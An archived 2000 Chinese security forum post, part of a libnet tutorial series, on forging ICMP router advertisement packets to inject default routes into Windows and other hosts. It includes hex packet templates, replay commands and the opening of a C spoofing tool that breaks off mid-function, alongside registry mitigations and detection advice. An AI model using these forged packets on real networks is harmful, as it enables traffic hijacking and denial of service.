📄 535.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="519.htm">上一层</a>][<a href="536.htm">下一篇</a>]
<hr><p align="left"><small>发信人: scz (小四), 信区: Security <br>
标 题: libnet使用举例(11) <br>
发信站: 武汉白云黄鹤站 (Sat Sep 16 06:24:54 2000), 站内信件 <br>
作者:ADAM < mailto: adam@nsfocus.com > <br>
:小四 < mailto: scz@nsfocus.com > <br>
主页:http://www.nsfocus.com <br>
日期:2000-09-01 16:36 <br>
本以为ICMP除了重定向报文之外没有其他类型的报文可以远程影响路由表,结果在被 <br>
ipxodi痛苦折磨的日子里发现忘记了另外一种可能造成极大破坏的ICMP报文。 <br>
RFC1256定义了ICMP路由请求/通告报文。如果主机的ICMP路由请求功能是打开的,那 <br>
么主机启动的时候可能会广播、多播ICMP路由请求报文,某些路由器会响应以ICMP路 <br>
由通告报文。即使主机没有主动发送ICMP路由请求报文,也会被路由器发送的ICMP路 <br>
由通告报文影响到路由表。ICMP路由通告报文在主机路由表里生成的是缺省路由,其 <br>
生命周期一般是30分钟,而路由器一般每10分钟就会主动发送ICMP路由通告报文,实 <br>
际意味着这样生成的缺省路由永不过期。 <br>
-------------------------------------------------------------------------- <br>
下面是一个ICMP路由请求报文的例子: <br>
ff ff ff ff ff ff 00 00 00 11 11 11 08 00 45 00 <br>
00 1c 20 00 00 00 20 01 f1 36 c0 a8 08 5a c0 a8 <br>
ff ff 0a 00 f5 ff 00 00 00 00 <br>
0a 00 type = 10 code = 0 <br>
f5 ff 校验和 = 0xF5FF <br>
00 00 00 00 Unused(置零) <br>
把上述报文存入 RouterSelection.txt 文件中,以 root 身份执行如下命令: <br>
./linuxkiller -k RouterSelection.txt -w 5 -r 1000 <br>
-------------------------------------------------------------------------- <br>
-------------------------------------------------------------------------- <br>
下面是一个ICMP路由通告报文的例子: <br>
00 00 00 11 11 11 00 00 00 22 22 22 08 00 45 00 <br>
00 24 12 34 00 00 ff 01 15 aa c0 a8 0a 50 c0 a8 <br>
08 5a 09 00 aa fb 01 02 7f ff c0 a8 0a 5a 00 00 <br>
00 00 <br>
00 00 00 11 11 11 目标MAC <br>
00 00 00 22 22 22 源MAC,这个是无所谓的,随便填,不过别和目标MAC一样 <br>
08 00 IP协议 <br>
45 00 <br>
00 24 长度( 20 + 16 ) <br>
12 34 ID号 <br>
00 00 Flags <br>
ff TTL <br>
01 ICMP协议 <br>
15 aa 校验和 = 0x15AA <br>
c0 a8 0a 50 源IP,192.168.10.80 <br>
c0 a8 08 5a 目标IP,192.168.8.90 <br>
09 00 type = 9 code = 0 <br>
aa fb 校验和 = 0xAAFB <br>
01 项目个数 <br>
02 每个项目大小,这里固定是2,两个32bit <br>
7f ff 生存时间,指在目标主机路由表的有效时间,过期会被删除 <br>
单位是秒 <br>
c0 a8 0a 5a 路由器地址 <br>
00 00 00 00 优先级,默认为0,越大优先级越高;优先级为0x80000000表示 <br>
该路由器地址不能做为缺省路由 <br>
把上述报文存入 RouterAdvertisement.txt 文件中,以 root 身份执行如下命令: <br>
./linuxkiller -k RouterAdvertisement.txt -w 5 -r 1000 <br>
-------------------------------------------------------------------------- <br>
路由器并不是严格定期发送ICMP路由通告报文,而是随机的,避免和其他路由器发生 <br>
冲突,一般两次通告间隔450秒到600秒,也就是10分钟左右,而通告报文里的生存时 <br>
间一般是30分钟(1800秒)。使用生存时间有一个用处,如果路由器的某个Interface <br>
即将关闭,此时可以从这个接口上发送最后一个ICMP路由通告报文,并把生存时间设 <br>
置成零。如果子网内存在多个路由,由系统管理员配置各个路由在发送ICMP路由通告 <br>
报文时使用的优先级。 <br>
这两种ICMP报文比较新,不是所有系统都支持它们。Solaris 2.x的 <br>
/usr/sbin/in.rdisc正是支持它们的Daemon程序,具体的可以参看man手册。 <br>
运行微软Win9x、Win2K的DHCP客户端,其ICMP路由请求功能默认是打开的。通过伪造 <br>
ICMP路由通告报文,就可能在DHCP客户端增加一条缺省路由,它的优先级高于来自 <br>
DHCP服务器的缺省路由。对于Win2K,ICMP路由通告报文增加上来的缺省路由优先级 <br>
低于来自DHCP服务器的缺省路由,所以受此攻击危害较小,但因为能增加内容到路由 <br>
表,就存在DoS攻击的可能。 <br>
显然我很讨厌非要配置DHCP Client/Server才能测试的情况,结果老婆大人ADAM出手 <br>
了,一般夫唱妇随的话,都很厉害的,金庸小说里无数神仙眷侣都在证明这个结论。 <br>
-------------------------------------------------------------------------- <br>
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\ <br>
Interfaces\{2FF4FAFD-40EC-4723-9FD0-86BFCBE0975B} <br>
这最后的是接口名,你的系统上显然不是这个名字,需要自己确定 <br>
PerformRouterDiscovery <br>
REG_DWORD <br>
Value Meaning <br>
0 禁用路由发现功能 <br>
1 启用路由发现功能 <br>
参看RFC 1256 <br>
-------------------------------------------------------------------------- <br>
我们怀疑不需要启动DHCP Client就可以启用路由发现功能,进而意味着ICMP路由通 <br>
告报文将影响本机路由表。ADAM在中文Windows 2000 AD Server上设置了该值并重启 <br>
动,我从另外一台Windows 98上用NetXray构造一个类似上述举例中ICMP路由通告报 <br>
文,结果ADAM主机路由表中出现了预料中的缺省路由,但是Metric高达1000,实际意 <br>
味着没有多少机会影响ADAM主机发出的IP报文流向。而ICMP主机路由重定向报文增加 <br>
上去的是特定主机路由,优先级相当高,注意区别二者的最终效果。 <br>
ICMP路由通告报文不要求源IP真实存在,不要求源IP是当前有效路由之一,不对路由 <br>
器IP做太多限制,比起ICMP主机路由重定向报文,要容易伪造得多。水木清华 <br>
Network版上讨论过太多DHCP的问题,想必大量使用DHCP协议,也给这种攻击提供了 <br>
良好的大规模测试环境。事实上,配置了DHCP Client的主机可以通过上述注册表设 <br>
置禁用路由发现功能,此时并不影响DHCP Client的其他功能。 <br>
顺便给一个ICMP主机路由重定向问题的解决办法,没有任何理由在简单局域网拓扑中 <br>
启用这个功能,解决办法就是禁止它。下面来自中文Windows 2000 Server版注册表。 <br>
-------------------------------------------------------------------------- <br>
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters <br>
EnableICMPRedirect <br>
REG_DWORD <br>
Value Meaning <br>
0 禁止ICMP重定向 <br>
1 允许ICMP重定向,默认是允许 <br>
-------------------------------------------------------------------------- <br>
遗憾的是缺乏实验环境,没来得及找到Pwin98下相应的两个注册表设置位置,但我确 <br>
信它们存在。 <br>
如何察觉、防范ICMP路由通告攻击呢?查看路由表最直接。注意,与检查ICMP重定向 <br>
攻击不同,netstat -s无法察觉这种攻击,内核没有相应统计量。协议分析软件、 <br>
IDS等等都很容易发觉这种攻击企图。利用防火墙限制ICMP路由通告报文。根据具体 <br>
情况修改本机系统设置。 <br>
libnet的作者并没有做好足够思想准备接受这种新生事物,man libnet找不到对应的 <br>
组包函数,我们必须在IP数据区自己构造这样的ICMP路由通告报文。所有涉及到的函 <br>
数本系列前面都介绍过了,不再重复。 <br>
命令行上指定伪造的源IP(可随机化)、攻击目标IP、伪造的路由IP(不考虑随机化, <br>
没有太多意义,采用指定方式时尽量使用直接路由)、ICMP路由通告报文个数。 <br>
-------------------------------------------------------------------------- <br>
/* <br>
* File : icmp router advertisement program for i386/Linux using libnet <br>
* Version: 0.99 alpha <br>
* Author : scz < mailto: scz@nsfocus.com > <br>
* : http://www.nsfocus.com <br>
* Complie: gcc -O3 -o ia icmpadv.c `libnet-config --defines --cflags` `libn <br>
et-c <br>
onfig --libs` <br>
* Usage : ./ia --di 192.168.8.90 --routeIp 192.168.0.11 --level 1000 <br>
* Date : 2000-09-04 09:29 <br>
*/ <br>
/******************************************************************* <br>
* * <br>
* 头文件 * <br>
* * <br>
*******************************************************************/ <br>
#define _GNU_SOURCE <br>
#include <stdio.h> <br>
#include <stdlib.h> <br>
#include <time.h> /* 使用time()产生随机化种子 */ <br>
#include <getopt.h> /* 使用getopt()长选项支持 */ <br>
#include <libnet.h> /* 使用libnet必须包含这个头文件 */ <br>
/******************************************************************* <br>
* * <br>
* 宏定义 * <br>
* * <br>
*******************************************************************/ <br>
#define SUCCESS 0 <br>
#define FAILURE -1 <br>
#define DEFAULTIRANUMBER 5 /* 缺省发送ICMP路由通告报文数目 */ <br>
#define DEFAULTTTL 0x7FFF /* 缺省生存时间 */ <br>
#define DEFAULTLEVEL 0 /* 缺省路由优先级 */ <br>
/******************************************************************* <br>
* * <br>
* 全局变量 * <br>
* * <br>
*******************************************************************/ <br>
/* 用于初始化伪随机数发生器 */ <br>
u_long randomState[64] = <br>
{ <br>
{ <br>
0x00000003, 0x32d9c024, 0x9b663182, 0x5da1f342, 0x7449e56b, 0xbeb1dbb0, 0xab <br>
5c59 <br>
18, 0x946554fd, <br>
0x8c2e680f, 0xeb3d799f, 0xb11ee0b7, 0x2d436b86, 0xda672e2a, 0x1588ca88, 0xe3 <br>
6973 <br>
5d, 0x904f35f7, <br>
0xd7158fd6, 0x6fa6f051, 0x616e6b96, 0xac94efdc, 0xde3b81e0, 0xdf0a6fb5, 0xf1 <br>
03bc <br>
02, 0x48f340fb, <br>
0x36413f93, 0xc622c298, 0xf5a42ab8, 0x8a88d77b, 0xf5ad9d0e, 0x8999220b, 0x27 <br>
fb47 <br>
b9, 0x9a319039, <br>
0x94102000, 0x9610000a, 0xc60a0000, 0x90022001, 0x8408e07f, 0x8528800a, 0x80 <br>
88e0 <br>
80, 0x02800004, <br>
0x9612c002, 0x10bffff9, 0x9402a007, 0x81c3e008, 0xd6224000, 0x86102000, 0x94 <br>
1000 <br>
03, 0xd60a0000, <br>
0x90022001, 0x840ae07f, 0x85288003, 0x94128002, 0x808ae080, 0x12bffffa, 0x86 <br>
00e0 <br>
07, 0x80a0e01f, <br>
0x18800006, 0x808ae040, 0x02800004, 0x84103fff, 0x85288003, 0x94128002, 0x81 <br>
c3e0 <br>
08, 0xd4224000 <br>
}; <br>
size_t ipDataSize; <br>
u_char * packet = NULL; <br>
/* ICMP重定向报文有负载 */ <br>
size_t packet_size = LIBNET_IP_H; <br>
int rawSocket; <br>
/******************************************************************* <br>
* * <br>
* 函数原型 * <br>
* * <br>
*******************************************************************/ <br>
void Libnet_do_checksum ( u_char * buf, int protocol, int len ); <br>
void Libnet_init_packet ( size_t p_size, u_char ** buf ); <br>
int Libnet_open_raw_sock ( int protocol ); <br>
void Libnet_write_ip ( int sock, u_char * packet, int len ); <br>
void iraSend ( u_long srcIp, u_long dstIp, u_long routeIp, u_long iraNumber <br>
); <br>
void usage ( char * arg ); <br>
/*----------------------------------------------------------------------*/ <br>
void Libnet_do_checksum ( u_char * buf, int protocol, int len ) <br>
{ <br>
if ( libnet_do_checksum( buf, protocol, len ) == -1 ) <br>
{ <br>
libnet_error( LIBNET_ERR_FATAL, "libnet_do_checksum failed\n" ); <br>
} <br>
return; <br>
} /* end of Libnet_do_checksum */ <br>
void Libnet_init_packet ( size_t p_size, u_char ** buf ) <br>
{ <br>
if ( libnet_init_packet( p_size, buf ) == -1 ) <br>
{ <br>
libnet_error( LIBNET_ERR_FATAL, "Can't initialize packet\n" ); <br>
} <br>
return; <br>
} /* end of Libnet_init_packet */ <br>
int Libnet_open_raw_sock ( int protocol ) <br>
{ <br>
int s; <br>
if ( ( s = libnet_open_raw_sock( protocol ) ) == -1 ) <br>
{ <br>
libnet_error( LIBNET_ERR_FATAL, "Can't open raw socket %08x\n", prot <br>
ocol <br>
ocol <br>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -